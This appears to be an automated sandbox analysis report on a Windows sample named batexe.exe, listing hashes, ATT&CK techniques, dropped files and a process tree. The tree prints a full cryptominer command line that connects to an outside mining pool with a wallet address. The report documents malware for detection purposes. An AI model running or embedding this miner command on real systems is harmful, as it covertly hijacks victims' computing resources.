73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
297s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
13/02/2024, 11:48

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2228	b2e.exe
1064	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1064	cpuminer-sse2.exe
1064	cpuminer-sse2.exe
1064	cpuminer-sse2.exe
1064	cpuminer-sse2.exe
1064	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3500-7-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3500 wrote to memory of 2228	3500	batexe.exe	85
PID 3500 wrote to memory of 2228	3500	batexe.exe	85
PID 3500 wrote to memory of 2228	3500	batexe.exe	85
PID 2228 wrote to memory of 3016	2228	b2e.exe	86
PID 2228 wrote to memory of 3016	2228	b2e.exe	86
PID 2228 wrote to memory of 3016	2228	b2e.exe	86
PID 3016 wrote to memory of 1064	3016	cmd.exe	89
PID 3016 wrote to memory of 1064	3016	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3500
- C:\Users\Admin\AppData\Local\Temp\5F46.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5F46.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5F46.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2228
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6234.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3016
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1064

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5F46.tmp\b2e.exe

Filesize
17.2MB

MD5
42a79ae5a2f7d4cd1b2b879ff2aa69ae

SHA1
d2acb09cc1a5577ea67621e4ab171d6da5283a6e

SHA256
7aab9724126b8ae273e688a9721d1113c220bbf326fd6f0ab8ec4652daf987e8

SHA512
168ec363d39d68a3e7137528aa07fba1ab9ad2ade4be5663f7e667e8a72cfb942b6acb2c0b41c4519e73335b12c33ba46047aac0d60ccd8a62a44ee1197c025b

Download Submit
C:\Users\Admin\AppData\Local\Temp\5F46.tmp\b2e.exe

Filesize
7.3MB

MD5
f92e9750004ad01876fbdd308d251d71

SHA1
ca1801e1bcdd39fb94efbe4d97436035105963dc

SHA256
844df9d1c2405529bd026472d99ef77d1480e1ee73e8ecd7fa9bb60903965f09

SHA512
0e9bc773e9c2db8e360f2604987ed5af04c10034003545af7675c94421fb35c6bf95bc6c8e8592cd55e6852697c3d46410665e8db4e12080490021f72d1ae9e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\5F46.tmp\b2e.exe

Filesize
9.6MB

MD5
fe303ed1a6cad96bc09955e2e8449cea

SHA1
238d320c24cef831964a75d479771294c027a6ba

SHA256
f56712fd024c95dbfad1f36e76d19938b7c33e56bd22d6c6119500284d28bc35

SHA512
92084bb9d3f37be8f121d6c453d02773774c26829bcae1b6ff7ef1c6a144757756552aa5b4292f139d471df5f8f040a710a26c424e0678ae318f0d1816a4c790

Download Submit
C:\Users\Admin\AppData\Local\Temp\6234.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.4MB

MD5
b69b2b567106989129ddd1f281a2dbfc

SHA1
f920cdbab8e8093c517e2fe6f927532e18f4f230

SHA256
7cb5d6cab0fa416105b593d2b5a12d9f87fbd74ee6ab856b7771060dddcfe0cc

SHA512
9757224357a416619e6f265b7d470794aa4da7a0c33d0bd2809a9288dd629258357b3c799fcc2663a08bfcb254e00233b9c8d36f0c3188e95a1ffa1ee1334578

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.5MB

MD5
a52b98fdc3aaca7e1de2fde7c6bd3384

SHA1
8464b1f9fe04e8b39080dff29d21b72a1bd5f89e

SHA256
0b35c1d352ebdaa09a774c6e980168ee876483086007fe5035dd721ade07bb56

SHA512
ff18fdaea6ba4a6a1b6820ebba838675e10827b4b18f4dad4805ee7b3ab01f3a0b6686eabe9e4fb8c442da9fe3aba1fa3ec291e567ee0a68f407fced80c5b8da

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.9MB

MD5
a8e5a03ab63e36ad6c3a6ac96208c957

SHA1
0b1d4949f6f583708a937a5d4a0781e3c58408e3

SHA256
e6bc08fffeab2284c92991e8b0013cb81918add62aaa8b8b415487ac74741292

SHA512
359fda43807d525e506d375a4ab2fe15d67c9e55473985f7ef3e06885c85158b7aecbf5293c82740dcd0b6d8c5d17b36310f34145d71392f454cbe89db8071e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1064-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1064-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1064-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1064-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1064-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1064-46-0x0000000062FE0000-0x0000000063078000-memory.dmp

Filesize
608KB

Download
memory/1064-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/1064-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1064-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1064-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1064-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1064-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1064-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1064-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1064-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1064-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2228-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2228-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3500-7-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download